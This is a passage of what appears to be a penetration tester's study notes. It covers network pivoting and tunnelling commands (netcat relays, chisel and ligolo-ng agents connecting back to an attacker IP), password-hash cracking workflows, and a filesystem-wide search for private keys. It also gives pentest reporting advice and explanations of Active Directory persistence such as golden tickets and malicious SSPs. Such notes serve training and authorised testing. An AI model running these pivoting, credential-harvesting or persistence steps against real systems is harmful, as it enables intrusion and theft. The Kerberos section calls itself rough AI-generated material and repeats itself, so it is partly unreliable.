portfwd add -l <ATTACKER_PORT> -r <TARGET_IP> -p <TARGET_PORT> 

Reverse

# TARGET => REDIR => ATTACKER
portfwd add -R -l <REDIR_PORT> -L <ATTACKER_IP> -p <ATTACKER_PORT>

Redirection

Redirection is simple traffic manipulation on a single host. There are no tunnels.

Netcat

# PORT FORWARD 0.0.0.0:<LISTEN_PORT> => <TARGET>:<FORWARD_PORT>
# NOTE: use normal netcat (w/o "-e" or "-c" options)
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | nc <TARGET> <FORWARD_PORT> 2>&1 | nc -lvnp <LISTEN_PORT> > /tmp/f

Socat

This can be forward or reverse, with the TARGET_* being the ATTACKER or TARGET respectively.

socat TCP4-LISTEN:<LISTEN_PORT>,fork,reuseaddr TCP4:<TARGET_IP>:<TARGET_PORT>

Netsh

netsh.exe interface portproxy add v4tov4 listenaddress=<LISTEN_IP> listenport=<LISTEN_PORT> connectaddress=<REMOTE_IP> connectport=<REMOTE_PORT>

netsh.exe interface portproxy show v4tov4

Dynamic Forwarding

SOCKS

FeatureSOCKS4SOCKS5
Transport ProtocolsTCP onlyTCP & UDP
AddressingIPv4 OnlyIPv4 & IPv6
DNS ResolutionClient-side (vulnerable to leaks)Remote/Proxy-side (via SOCKS5/4a)
AuthenticationNone (Ident-based only)Username/Password, GSS-API
Nmap CompatibilityNative --proxy (very stable)Better via proxychains
SSH (-D) DefaultSupported (manual flag)Default
Chisel DefaultNot standardNative / Built-in
  • Remember that only proper TCP traffic works with SOCKS (e.g. NOT certain scans like nmap -sS sends malformed packets or ICMP ping), use nmap -sT --proxy
proxychains -q -f <CONFIG_FILE> <COMMAND>

proxychains msfconsole

# USE nmap's builtin --proxy option
nmap -sT -Pn -n --proxy socks4://127.0.0.1:9050 <TARGET>
# --unprivileged avoids raw sockets and "bad" packets
nmap -n -Pn -sT -sV --unprivileged --proxy socks4://127.0.0.1:9050 -p21,22,23,53,80,135,139,389,443,445,1433,3389,5985,5986,8080 --stats-every 15s --open -v -oA nmap_subnet_discovery <TARGET_SUBNET>

Step 0: Pre-Requisites

# Edit ProxyChains Config
# NOTE: disable strict_chain to for robustness
ls -la /etc/proxychains*.conf
cat /etc/proxychains4.conf | grep -v '^#' | grep -v '^\s*$'

---

sudo mv -v /etc/proxychains4.conf /etc/proxychains4.conf.BAK

echo "#quiet_mode
proxy_dns
#dynamic_chain
strict_chain
[ProxyList]
socks5  127.0.0.1 1080  # Chisel
socks4  127.0.0.1 9050  # SSH -D proxy or nmap" | sudo tee /etc/proxychains4.conf

Metasploit

# Set global proxy for Metasploit
setg PROXIES socks5:127.0.0.1:1080  # SOCKS5
setg PROXIES HTTP:127.0.0.1:8080  # HTTP

# Clear proxy for current module only
set Proxies ""

# Accept reverse connections directly (don't let it thru the SOCKS proxy)
setg ReverseAllowProxy true

via SSH

# Step 1: create proxy via SSH
ssh -D 9050 <USER>@<TARGET>

Windows SSH client from PuTTY.

plink -ssh -D 9050 <USER>@<TARGET>

cmd.exe /c echo y | plink.exe -ssh -l <USER> -pw <PASS> <TARGET>

via Metasploit

# Step 1: Run MSF SOCKS proxy
use auxiliary/server/socks_proxy
set SRVPORT 9050
set SRVHOST 0.0.0.0
set version 4a
#set version 5
run -j
jobs

# Step 2a: in MSF
use post/multi/manage/autoroute
set SESSION <SESSION>
set SUBNET <TARGET_SUBNET>
run -j
jobs
route print

# OR Step 2b: in MSF session
run autoroute -s <TARGET_SUBNET>
run autoroute -p

Sshuttle

“Transparent proxy server that works as a poor man’s VPN. Forwards over ssh. Doesn’t require admin… Supports DNS tunneling.”

sudo apt install -y sshuttle
# NOTE: -x excludes the pivot IP to avoid routing issues
sudo sshuttle -r <USER>@<TARGET> --ssh-cmd "ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" -x <PIVOT_IP> -v <TARGET_SUBNET>

Chisel

“Chisel is a fast TCP/UDP tunnel, transported over HTTP, secured via SSH”

NOTE: configure [[lateral-movement#Step 0 Pre-Requisites]] and SOCKS5 w/ port 1080

### LINUX
# DYNAMIC
git clone https://github.com/jpillora/chisel.git && cd chisel && go build
# STATIC
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -o chisel_static

### WINDOWS
# 64-bit
CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -o chisel.exe
# 32-bit
CGO_ENABLED=0 GOOS=windows GOARCH=386 go build -ldflags="-s -w" -o chisel32.exe

### SHRINK (10MB -> 3MB)
upx --lzma chisel*

Forward

# REDIR
./chisel server --socks5 -v -p <LISTEN_PORT>

# ATTACKER
./chisel client -v <CHISEL_SERVER>:<LISTEN_PORT> 1080:socks

Reverse

# ATTACKER
./chisel server --socks5 --reverse -v -p <LISTEN_PORT>

# REDIR
./chisel client -v <CHISEL_SERVER>:<LISTEN_PORT> R:1080:socks

Ligolo-ng

Sets up a new interface and route to move traffic

Build:

git clone https://github.com/nicocha30/ligolo-ng.git && cd ligolo-ng

go build -o agent cmd/agent/main.go
go build -o proxy cmd/proxy/main.go
# Build for Windows
GOOS=windows go build -o agent.exe cmd/agent/main.go
GOOS=windows go build -o proxy.exe cmd/proxy/main.go
# Build for Linux
GOOS=linux go build -o agent cmd/agent/main.go
GOOS=linux go build -o proxy cmd/proxy/main.go
### SHRINK (10MB -> 3MB)
upx --lzma agent* proxy*

ATTACKER: Listener

sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
# listens on :11601 by default
./proxy -selfcert

Target Listen/Bind (Forward) ATTACKER connects to TARGET

# TARGET
./agent.exe -bind 0.0.0.0:<PORT>

# ATTACKER: ligolo session
connect_agent --ip <TARGET>:<PORT>
session
tunnel_start --tun ligolo

Target Connect/Reverse (Reverse) TARGET connects to ATTACKER

# Target
./agent.exe -connect <ATTACKER_IP>:<PORT> -ignore-cert

# ATTACKER: ligolo session
session
tunnel_start --tun ligolo

ATTACKER: Create Route

sudo ip route add <SUBNET_TARGET> dev ligolo

Offline Hash Cracking

Offline attacks = touching the rig. You use local GPU/CPU on captured data. Risks: none (except overheating).


Hash identification

Prefer nth (Name That Hash) over hashid: it outputs the exact Hashcat -m and John format so you can paste and run. Hashcat can also suggest a mode if you run it without -m.

# Name That Hash (recommended)
pipx install name-that-hash
nth -t '<HASH_STRING>'
nth -f <HASH_FILE.txt>
# Hashcat autodetect (no -m; it will suggest or prompt)
echo '<HASH>' > detect.hash
hashcat detect.hash --show
# or
hashcat detect.hash <WORDLIST>

Ambiguity: e.g. 32-char hex can be MD5 or NTLM β€” context (source) matters. Don’t truncate == or leading $ when copying.


Extraction/Format Conversion

File to Hash

Convert files/artefacts to a hash format that hashcat or John can crack.

# Find all JtR utilities
sudo updatedb && locate '*2john' | grep -v 'pycache'

# Zip (then crack: hashcat -m 17200 for PKZIP, or JtR for zips)
zip2john <ZIP_FILE> > hash_zip.txt

# RAR
rar2john <RAR_FILE> > hash_rar.txt

# Office docs
office2john <OFFICE_FILE> > hash_office.txt

# PDF
pdf2john <PDF_FILE> > hash_pdf.txt

# Bitlocker
bitlocker2john -i <VHD_FILE> > pre_hash_vhd.txt
grep "bitlocker\$0" pre_hash_vhd.txt > hash_crackme_vhd.txt
hashcat -a 0 -m 22100 hash_crackme_vhd.txt <WORDLIST>

# Mount with Bitlocker (after cracking)
sudo apt install -y dislocker
sudo mkdir -p /media/{bitlocker,bitlockermount}
sudo losetup -f -P Backup.vhd
ls -la /dev/loop*
sudo dislocker /dev/<LOOP_DEV> -u<PASSWORD> -- /media/bitlocker
sudo mount -o loop /media/bitlocker/dislocker-file /media/bitlockermount

# SSH: find private keys
grep -rnE '^\-{5}BEGIN [A-Z0-9]+ PRIVATE KEY\-{5}$' /* 2>/dev/null
# Check if key is password protected
ssh-keygen -yf <PRIVKEY>
# Get hash
ssh2john <PRIVKEY> > ssh.hash

# OpenSSL-encrypted archive
while read p; do
    openssl enc -aes-256-cbc -d -in <ENC_FILE> -k "$p" 2>/dev/null | tar xz 2>/dev/null
    if [ $? -eq 0 ]; then
        echo "Success! Password is: $p"
        break
    fi
done < <WORDLIST>

Common Hash Values (Empty Input)

Hash ValueTypeMeaning
d41d8cd98f00b204e9800998ecf8427eMD5Empty String (0 byte input)
da39a3ee5e6b4b0d3255bfef95601890afd80709SHA1Empty String (0 byte input)
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855SHA256Empty String (0 byte input)

Wordlist Customization

Mutating Wordlists

cewl: Scrape target site to build a wordlist (e.g. company jargon, names).

# Create wordlist from website (lowercase, spider depth, min word length)
cewl --lowercase -d <SPIDER_DEPTH> -m <MIN_WORD_LENGTH> -w <WORDLIST_FILENAME>

Hashcat rules: Mutate a small keyword list into a large wordlist.

# Manually generate keywords or use cewl via OSINT
cat << EOF > keywords.txt
<KEYWORDS>
EOF

# Rule examples: c (Capitalize first), C (lowercase first, rest upper), t (toggle case)
# $! append ! ; $1$9$9$8 append 1998 ; sa@ replace a with @ ; so0 replace o with 0 ; ss$ replace s with $
cat << EOF > custom.rule
c
C
t                                                                \$!
\$1\$9\$9\$8
\$1\$9\$9\$8\$!
sa@
so0
ss\$
EOF

# Generate permutated wordlist
hashcat --force -r custom.rule keywords.txt --stdout | sort -u > wordlist.txt

# Crack with same rules
hashcat -a 0 -m <HASH_ID> -r custom.rule <HASH> wordlist.txt

CUPP Profiling

Build a targeted wordlist from personal information (name, birthday, pet, company, etc.). Use when you have OSINT on the target and want passwords likely derived from that data.

git clone https://github.com/Mebus/cupp.git
cd cupp
python3 cupp.py -i

Interactive prompts: name, surname, nickname, birthday, partner, pet, company, keywords, etc. Output is a wordlist tailored to the target.


Cracking

Hash Identification

See Β§0. Hash identification above. Fallback: hashid -jm '<HASH>'.

Hashcat

Rule comparison

Rule FileRule CountUse Case
best64.rule64First run. Fast for easy passwords.
d3ad0ne.rule~34,000Deep crack. Standard “complex” passwords.
dive.rule~100,000+Paranoid. Very slow; last resort.
# Wordlist attack
hashcat -m 1800 hashes.txt <WORDLIST>
hashcat -m 1800 -r /usr/share/hashcat/rules/best64.rule hashes.txt <WORDLIST>

# MD5crypt with salt
hashcat -m 20 <HASH>:<SALT> <WORDLIST>

# Zip (PKZIP); for some zips JtR is easier
hashcat -m 17200 hash_zip.txt <WORDLIST>

Mask attack (-a 3) charsets

SymbolDescriptionCharset
?lLowercasea-z
?uUppercaseA-Z
?dDigits0-9
?hHex lower0-9a-f
?HHex upper0-9A-F
?sSpecialspace and !"#$%&’()*+,-./:;<=>?@[]^_`
?aAll?l?u?d?s
?bBinary0x00–0xff
hashcat -a 3 -m <HASH_ID> <HASH> '?u?l?l?l?l?d?s'

John the Ripper

john --list=formats

# Wordlist (specify format when possible)
john --format=<FORMAT> --wordlist=<WORDLIST> <HASH_FILE>

# Single crack: permutations from username (e.g. unshadowed passwd)
unshadow passwd.txt shadow.txt > unshadowed.txt
john --single <UNSHADOW_FILE>

# Incremental (Markov-style)
john --incremental <HASH_FILE>

8 - Reporting

Post-Engagement

UNDERSTANDABLE and ACTIONABLE: DON’T assume people understand everything or know the technical details IN the REPORT… explain your thought process… make things easily reproducible (copy&pastable) where possible…


Reports and Sections

1. The Executive Summary

Target Audience: Non-technical executives (CISO, Board of Directors) managing budgets. Goal: Translate technical risk into business impact and justify remediation funding.

  • Engagement Overview: Scope, objective, and high-level results (e.g., “7 findings, 5 High, 1 Medium, 1 Low”).
  • The Narrative: Explain the overall security posture (e.g., “Patch management is excellent, but configuration management is poor”).
  • Key Impacts: Describe what was accessed in plain English (e.g., “Gained access to HR and banking systems” instead of “Domain Admin”).
  • Strategic Recommendations: Focus on broken processes, not just patches (e.g., “Implement a stronger password policy” instead of “Change 500 passwords”).

Do’s and Don’ts of Executive Summaries

DODON’T
Be specific with metrics. (“We found 25 instances,” not “We found several”).Name specific vendors. (Say “an EDR solution,” not “Buy CrowdStrike”).
Keep it under 2 pages. Consolidate minor issues into process-level themes.Use technical acronyms. (Translate LLMNR, XSS, or TGT into plain English).
Focus on business impact. (What data was stolen, what processes were halted).Waste space on minor findings. (Focus on the critical attack paths).
Set remediation expectations. (Acknowledge if fixing a GPO will take significant time).Reference technical sections. (The Exec Summary must be 100% standalone).

2. The Remediation Summary (Roadmap)

Goal: A prioritized checklist for IT managers.

  • Short-Term: Immediate fixes (Patch X, disable Service Y).
  • Medium/Long-Term: Process fixes (Implement LAPS, redesign SDLC, deploy EDR).

3. The Attack Chain (Narrative)

Goal: Show how multiple low/medium vulnerabilities chain together to create a critical impact.

  • Step-by-step walkthrough (e.g., LLMNR Poisoning $\rightarrow$ Crack Hash $\rightarrow$ Kerberoast SPN $\rightarrow$ Crack Hash $\rightarrow$ DCSync).
  • Include screenshots and command output.

4. Detailed Findings

Goal: Technical reproduction steps and exact fixes for sysadmins/developers.

  • Severity Rating, CVE/CVSS/OWASP/MITRE IDs
  • Affected systems, networks, environments, or applications
  • Vulnerability Description.
  • Reproduction Steps (Commands & Output).
  • Remediation Advice:
    • Each finding should include one or more external references for further reading on a particular vulnerability or misconfiguration
    • Reference links with additional information about the tool/method itself

5. Appendices

  • Scope: IPs, Domains, URLs tested.
  • Methodology: The standard tested against (e.g., PTES, OWASP).
  • Severity Ratings Matrix: How you calculate High vs. Medium risk.
  • Payloads/Artifacts Log: File hashes, paths, and timestamps of all tools dropped on disk (crucial for Blue Teams/Forensics).
  • Compromised Credentials: List of accounts cracked (do not list passwords in cleartext if possible).
  • Configuration Changes: List of any settings modified during the test that need reverting.
  • (Optional) Domain Password Analysis: Statistics on cracked AD passwords (e.g., via DPAT).
  • (Optional) OSINT / External Footprint: Open ports, breached credentials (DeHashed), DNS records.

Misc Tips/Tricks

  • Aim to tell a story with your report. Why does it matter that you could perform Kerberoasting and crack a hash? What was the impact of default creds on X application?
  • Write as you go. Don’t leave reporting until the end. Your report does not need to be perfect as you test but documenting as much as you can as clearly as you can during testing will help you be as comprehensive as possible and not miss things or cut corners while rushing on the last day of the testing window.
  • Stay organized. Keep things in chronological order, so working with your notes is easier. Make your notes clear and easy to navigate, so they provide value and don’t cause you extra work.
  • Show as much evidence as possible while not being overly verbose. Show enough screenshots/command output to clearly demonstrate and reproduce issues but do not add loads of extra screenshots or unnecessary command output that will clutter up the report.
  • Clearly show what is being presented in screenshots. Use a tool such as Greenshot to add arrows/colored boxes to screenshots and add explanations under the screenshot if needed. A screenshot is useless if your audience has to guess what you’re trying to show with it.
  • Redact sensitive data wherever possible. This includes cleartext passwords, password hashes, other secrets, and any data that could be deemed sensitive to our clients. Reports may be sent around a company and even to third parties, so we want to ensure we’ve done our due diligence not to include any data in the report that could be misused. A tool such as Greenshot can be used to obfuscate parts of a screenshot (using solid shapes and not blurring!).
  • Redact tool output wherever possible to remove elements that non-hackers may construe as unprofessional (i.e., (Pwn3d!) from CrackMapExec output). In CME’s case, you can change that value in your config file to print something else to the screen, so you don’t have to change it in your report every time. Other tools may have similar customization.
  • Check your Hashcat output to ensure that none of the candidate passwords is anything crude. Many wordlists will have words that can be considered crude/offensive, and if any of these are present in the Hashcat output, change them to something innocuous. You may be thinking, “they said never to alter command output.” The two examples above are some of the few times it is OK. Generally, if we are modifying something that can be construed as offensive or unprofessional but not changing the overall representation of the finding evidence, then we are OK, but take this on a case-by-case basis and raise issues like this to a manager or team lead if in doubt.
  • Check grammar, spelling, and formatting, ensure font and font sizes are consistent and spell out acronyms the first time you use them in a report.
  • Make sure screenshots are clear and do not capture extra parts of the screen that bloat their size. If your report is difficult to interpret due to poor formatting or the grammar and spelling are a mess, it will detract from the technical results of the assessment. Consider a tool such as Grammarly or LanguageTool (but be aware these tools may ship some of your data to the cloud to “learn”), which is much more powerful than Microsoft Word’s built-in spelling and grammar check.
  • Use raw command output where possible, but when you need to screenshot a console, make sure it’s not transparent and showing your background/other tools (this looks terrible). The console should be solid black with a reasonable theme (black background, white or green text, not some crazy multi-colored theme that will give the reader a headache). Your client may print the report, so you may want to consider a light background with dark text, so you don’t demolish their printer cartridge.
  • Keep your hostname and username professional. Don’t show screenshots with a prompt like azzkicker@clientsmasher.
  • Establish a QA process. Your report should go through at least one, but preferably two rounds of QA (two reviewers besides yourself). We should never review our own work (wherever possible) and want to put together the best possible deliverable, so pay attention to the QA process. At a minimum, if you’re independent, you should sleep on it for a night and review it again. Stepping away from the report for a while can sometimes help you see things you overlook after staring at it for a long time.
  • Establish a style guide and stick to it, so everyone on your team follows a similar format and reports look consistent across all assessments.
  • Use autosave with your notetaking tool and MS Word. You don’t want to lose hours of work because a program crashes. Also, backup your notes and other data as you go, and don’t store everything on a single VM. VMs can fail, so you should move evidence to a secondary location as you go. This is a task that can and should be automated.
  • Script and automate wherever possible. This will ensure your work is consistent across all assessments you perform, and you don’t waste time on tasks repeated on every assessment.

Acronyms

  • VPN, SSH - a protocol used for secure remote administration
  • SSL/TLS - technology used to facilitate secure web browsing
  • Hash - the output from an algorithm commonly used to validate file integrity
  • Password Spraying - an attack in which a single, easily-guessable password is attempted for a large list of harvested user accounts
  • Password Cracking - an offline password attack in which the cryptographic form of a user’s password is converted back to its human-readable form
  • Buffer overflow/deserialization/etc. - an attack that resulted in remote command execution on the target host
  • OSINT - Open Source Intelligence Gathering, or hunting/using data about a company and its employees that can be found using search engines and other public sources without interacting with a company’s external network
  • SQL injection/XSS - a vulnerability in which input is accepted from the user without sanitizing characters meant to manipulate the application’s logic in an unintended manner

9 - Notes

Nice General Cheatsheets

0) Troubleshooting & Snippets

Random fixes, one-liners, and useful commands for lab machines and general fuckery.

Fix Go

When system Go is broken or missing (HTB / online lab VMs)…

go: github.com/hahwul/dalfox/v2@latest (in github.com/hahwul/dalfox/v2@v2.12.0): go.mod:3: invalid go version '1.23.0': must match format 1.23

…Install a local Go and wire it into PATH:

wget https://go.dev/dl/go1.23.6.linux-amd64.tar.gz
mkdir -p ~/go_bin
tar -C ~/go_bin -xzf go1.23.6.linux-amd64.tar.gz
export PATH=$HOME/go_bin/go/bin:$HOME/go/bin/:$PATH
echo -e '\nexport PATH=$HOME/go_bin/go/bin:$HOME/go/bin/:$PATH' | tee -a ~/.bashrc ~/.zshrc
go version

DNS Server Reconfig

sudo rm -f /etc/resolv.conf && \
echo -e "nameserver <DNS_SERVER>" | sudo tee /etc/resolv.conf && \
sudo chattr +i /etc/resolv.conf

dig +short <TARGET>

Authentication Process - Kerberos

WIP: currently this is AI slop distilled from handouts and notes

Core Concepts & Flow

Kerberos is a ticket-based authentication protocol. It relies on a trusted third party, the Key Distribution Center (KDC), which resides on the Domain Controller (DC).

Kerberos Authentication Process
  1. AS-REQ (Authentication Service Request): User encrypts a timestamp with their password hash and sends it to the KDC.
  2. AS-REP (Authentication Service Reply): KDC validates the hash. If correct, issues a TGT (Ticket Granting Ticket). The TGT is valid for a specific time (default 10 hours) and is signed by the KRBTGT account.
  3. TGS-REQ (Ticket Granting Service Request): User presents the TGT to the KDC and requests access to a specific service (e.g., SQL, CIFS).
  4. TGS-REP (Ticket Granting Service Reply): KDC validates the TGT. Issues a TGS (Service Ticket). This ticket is encrypted using the Service Account’s password hash (Machine account or User account).
  5. AP-REQ (Application Request): User presents the TGS to the Application Server/Service. Service decrypts the ticket using its own hash to validate access.
  6. AP-REP (Application Reply): Access Granted

Ticket Forgery Attacks

Golden Tickets (Forged TGT)

A Golden Ticket is a forged TGT. It bypasses the authentication step (AS-REQ) entirely.

  • Requirement: The NTLM hash of the KRBTGT account.
  • Scope: Complete Domain Compromise. You can request a TGS for any service on any machine.
  • Mechanics:
    • You are forging the proof of identity that the KDC trusts.
    • You can impersonate non-existent users (as long as the ticket timestamp is >20 mins old).
    • You can set the ticket validity to 10+ years.
    • Bypasses Smart Card requirements (since TGT issuance is the result of SC checks).
  • Persistence:
    • Access remains valid until the KRBTGT password is rotated twice (AD keeps the current and previous hash valid).
    • Detection is difficult as TGT generation can occur off-domain.

Silver Tickets (Forged TGS)

A Silver Ticket is a forged Service Ticket. It bypasses the KDC entirely and interacts directly with the target server.

  • Requirement: The NTLM hash of the Target Service Account (usually the Computer Account hash).
  • Scope: Limited. Grants administrative access only to the specific service on the specific host targeted.
  • Mechanics:
    • You are skipping the KDC/DC steps (1-4). There is no network traffic to the DC.
    • Logs only appear on the target server, making detection difficult for centralized SIEMs.
    • Can create non-existent users with custom SIDs (e.g., Domain Admin SID) inside the ticket.
  • Persistence:
    • Valid until the Machine Account password rotates (default 30 days).
    • Attackers may disable machine password rotation in the registry to maintain access.

Account & Attribute Persistence

SID History Injection

The sidHistory attribute is designed for domain migrations to allow users to retain access to resources in their old domain.

  • Attack: Injecting the SID of a privileged group (e.g., Enterprise Admins) into the sidHistory of a low-privileged account.
  • Mechanism: When a user logs in, the PAC (Privilege Attribute Certificate) includes SIDs from their own groups AND their SID History.
  • Stealth: The user does not appear in the “Domain Admins” group in AD Users and Computers. Detection requires filtering specific user attributes.
  • Removal: Difficult; requires clearing the protected attribute via AD-RSAT tools.

Certificate Persistence (AD CS)

Forging authentication certificates using a compromised Certificate Authority (CA).

  • Mechanism: Exporting the CA certificate and private key to mint new user certificates.
  • Impact: Allows requesting TGTs indefinitely.
  • Severity: Critical/Nuclear.
    • Persists through user password changes.
    • Persists through KRBTGT rotation.
    • The rogue certificates are not in the CA’s issued list, so they cannot be individually revoked.
    • Remediation: Requires revoking the Root CA, effectively breaking the entire trust infrastructure of the domain.

Structural Persistence

AdminSDHolder & SDProp

A mechanism to ensure protected groups (Domain Admins, etc.) stay secure, often abused for “self-healing” persistence.

  • Mechanism: The AdminSDHolder container acts as a template. Every 60 minutes, the SDProp process copies permissions from AdminSDHolder to all protected groups.
  • Attack: An attacker modifies the ACL of AdminSDHolder to give a low-priv user “Full Control.”
  • Persistence: Even if an admin manually removes the attacker’s permissions from the Domain Admin group, SDProp will automatically re-add them within an hour.

Group Nesting & Modification

Hiding access in plain sight by manipulating group structures.

  • Nesting: Adding a compromised account to a mundane group (e.g., “Printer Admins”), which is nested inside “IT Support,” which is nested inside “Domain Admins.” Bypasses shallow monitoring alerts.
  • Shadow Groups: Leveraging groups with indirect access, such as groups that have write access to GPOs or password reset rights on Admin accounts.

GPO Implants

Using Group Policy Objects to deploy persistence across the fleet.

  • Restricted Groups: Pushing a policy that adds a compromised domain user to the Local Administrators group of every PC.
  • Logon Scripts: Configuring a GPO to run a reverse shell script every time a user (or specifically an Admin) logs in.

Machine/Host Persistence

DSRM (Directory Services Restore Mode)

Every DC has a local administrator account used for recovery (DSRM).

  • Attack: Dumping this local hash (often set at DC promotion and never changed).
  • Persistence: Configuring the DC to allow DSRM login via network (registry key DsrmAdminLogonBehavior). Allows persistent local admin access to the DC essentially independent of AD.

MOSTLY DEAD TECHNIQUES

Skeleton Keys

Patching the lsass.exe process on a Domain Controller memory to accept a “Master Password.”

  • Effect: The attacker can authenticate as any user using the master password.
  • Stealth: The real user passwords still work normally.
  • Limitation: Persistence is lost if the DC reboots.

Malicious SSP (Security Support Provider)

Registering a malicious DLL (like mimilib.dll) as a security provider on the DC.

  • Effect: Logs cleartext passwords of every user authenticating against that DC to a local file or network share.
  • Persistence: Survives reboots and operates as part of the OS authentication subsystem.

Authentication Process - Kerberos

  • Knowledge Consistency Checker (KCC) generates a replication topology for the AD forest and automatically connects to other domain controllers through Remote Procedure Calls (RPC) to synchronise information… DC Synchronisation
  • High value (near-privileged) accounts since Domain Admins would technically be the goal but get creds rotated quickly
    • Credentials that have local administrator rights on several machines. Usually, organisations have a group or two with local admin rights on almost all computers. These groups are typically divided into one for workstations and one for servers. By harvesting the credentials of members of these groups, we would still have access to most of the computers in the estate.
    • Service accounts that have delegation permissions. With these accounts, we would be able to force golden and silver tickets to perform Kerberos delegation attacks.
    • Accounts used for privileged AD services. If we compromise accounts of privileged services such as Exchange, Windows Server Update Services (WSUS), or System Center Configuration Manager (SCCM), we could leverage AD exploitation to once again gain a privileged foothold.

we often want to persist through service accounts with delegation permissions to forge silver and golden tickets

Kerberos Authentication Process
  • TGT

  • TGS

  • AS-REQ

  • TGS-REQ

  • AP-REQ

  • Golden Tickets are forged TGT for the AS-REQ, which allow the request of TGS. Skips steps 1-2

    • ONLY NEED: KRBTGT account’s password hash, we only need the domain name, domain SID, and user ID for the person we want to impersonate… if we have said hash we can get the other info
    • dont need password of user account impersonated
    • the KDC will only validate the user account specified in the TGT if it is older than 20 minutes. This means we can put a disabled, deleted, or non-existent account in the TGT, and it will be valid as long as we ensure the timestamp is not older than 20 minutes.
    • we could overwrite the values pushed by the KDC, such as, for example, that tickets should only be valid for 10 hours. We could, for instance, ensure that our TGT is valid for 10 years, granting us persistence.
    • By default, the KRBTGT account’s password never changes, meaning once we have it, unless it is manually rotated, we have persistent access by generating TGTs forever.
    • The blue team would have to rotate the KRBTGT account’s password twice, since the current and previous passwords are kept valid for the account. This is to ensure that accidental rotation of the password does not impact services.
    • Rotating the KRBTGT account’s password is an incredibly painful process for the blue team since it will cause a significant amount of services in the environment to stop working. They think they have a valid TGT, sometimes for the next couple of hours, but that TGT is no longer valid. Not all services are smart enough to release the TGT is no longer valid (since the timestamp is still valid) and thus won’t auto-request a new TGT.
    • Golden tickets would even allow you to bypass smart card authentication, since the smart card is verified by the DC before it creates the TGT.
    • We can generate a golden ticket on any machine, even one that is not domain-joined (such as our own attack machine), making it harder for the blue team to detect.
  • Silver Tickets are forged TGS tickets. Skips steps 1-4

    • The generated TGS is signed by the machine account of the host we are targeting.
    • The main difference between Golden and Silver Tickets is the number of privileges we acquire. If we have the KRBTGT account’s password hash, we can get access to everything. With a Silver Ticket, since we only have access to the password hash of the machine account of the server we are attacking, we can only impersonate users on that host itself. The Silver Ticket’s scope is limited to whatever service is targeted on the specific server.
    • Since the TGS is forged, there is no associated TGT, meaning the DC was never contacted. This makes the attack incredibly dangerous since the only available logs would be on the targeted server. So while the scope is more limited, it is significantly harder for the blue team to detect.
    • Since permissions are determined through SIDs, we can again create a non-existing user for our silver ticket, as long as we ensure the ticket has the relevant SIDs that would place the user in the host’s local administrators group.
    • The machine account’s password is usually rotated every 30 days, which would not be good for persistence. However, we could leverage the access our TGS provides to gain access to the host’s registry and alter the parameter that is responsible for the password rotation of the machine account. Thereby ensuring the machine account remains static and granting us persistence on the machine.
    • While only having access to a single host might seem like a significant downgrade, machine accounts can be used as normal AD accounts, allowing you not only administrative access to the host but also the means to continue enumerating and exploiting AD as you would with an AD user account.

WARNING

The techniques discussed from this point forward are incredibly invasive and hard to remove. Even if you have signoff on your red team exercise to perform these techniques, you must take the utmost caution when performing these techniques. In real-world scenarios, the exploitation of most of these techniques would result in a full domain rebuild.

  • Make sure you fully understand the consequences of using these techniques and only perform them if you have prior approval on your assessment and they are deemed necessary. In most cases, a red team exercise would be dechained at this point instead of using these techniques. Meaning you would most likely not perform these persistence techniques but rather simulate them.

  • We can continue requesting TGTs no matter how many rotations they do on the account we are attacking. The only way we can be kicked out is if they revoke the certificate we generated or if it expires. Meaning we probably have persistent access by default for roughly the next 5 years.
    • Certificate Authority (CA) itself

Authentication Process - Linux

1. Core Architecture: PAM

Pluggable Authentication Modules (PAM) manage the authentication, session setup, and password changes.

  • Key Module: pam_unix.so (Standard Unix auth).
  • Location: /usr/lib/x86_64-linux-gnu/security/
  • Function: Bridges the gap between user input (e.g., passwd command) and flat files (/etc/passwd, /etc/shadow).

2. Critical Files & Storage

A. The User Registry (/etc/passwd)

  • Permissions: World-Readable.
  • Format: Username:Password:UID:GID:GECOS:Home:Shell
  • Key Fields:
    • Password (x): Indicates the hash is actually in /etc/shadow.
    • Exploit: If writeable, deleting the x removes the password requirement for that user (e.g., root::0:0... allows passwordless login).

B. The Secrets (/etc/shadow)

  • Permissions: Root-Readable only.
  • Format: Username:Hash:LastChange:Min:Max:Warn:Inactive:Expire:Reserved
  • Status Flags:
    • ! or *: Account is locked (cannot login via password).
    • Note: SSH Key auth or su might still work even if locked.

C. Password History (/etc/security/opasswd)

  • Permissions: Root-Readable.
  • Function: Stores previously used password hashes to enforce history policies (prevent reuse).
  • Value: Often contains older, weaker hashes (MD5) useful for pattern analysis.

3. Hash Formats & Algorithms

Linux hashes follow the format: $<id>$<salt>$<hash>

IDAlgorithmNotes
$1$MD5Weak. Fast to crack.
$2a$BlowfishSlower (Bcrypt).
$5$SHA-256Standard.
$6$SHA-512Standard / Strong.
$y$YescryptModern Default (Debian/Kali). Harder to crack.
$7$ScryptMemory hard.

4. Cracking Workflow

1. Prepare the File (Unshadow) Combine passwd and shadow to give the cracker the necessary context (Usernames, GECOS, and Hash).

# Syntax: unshadow <PASSWD_FILE> <SHADOW_FILE>
unshadow /etc/passwd /etc/shadow > unshadowed.hashes

2. Crack (Hashcat)

  • Format: SHA-512 (Mode 1800) is the most common legacy default.
hashcat -m 1800 -a 0 unshadowed.hashes rockyou.txt

3. Crack (John the Ripper)

  • Mode: --single is highly effective here because unshadow provides the GECOS fields for guessing.
john --single unshadowed.hashes

Authentication Process - Windows

Authentication Process - Windows

1. Key Processes & Architecture

WinLogon (WinLogon.exe)

  • Role: The “orchestrator.” Intercepts keyboard input (Ctrl+Alt+Del), manages the workstation lock status, and handles password changes.
  • Workflow: Launches LogonUI -> Collects Creds -> Sends to LSASS.
  • Legacy Note (GINA): In older Windows (NT/XP), msgina.dll handled this. Replaced by Credential Providers in modern Windows.

LogonUI (LogonUI.exe)

  • Role: The graphical user interface that asks for the password.
  • Mechanism: Uses Credential Providers (COM Objects/DLLs) to accept different auth types (Password, PIN, Biometrics).

LSASS (%SystemRoot%\System32\Lsass.exe)

  • Role: The “Gatekeeper.” Enforces security policy, validates the password against SAM/AD, and writes to the Event Log.
  • Resources: Microsoft: LSA Architecture

2. Authentication DLLs (The Packages)

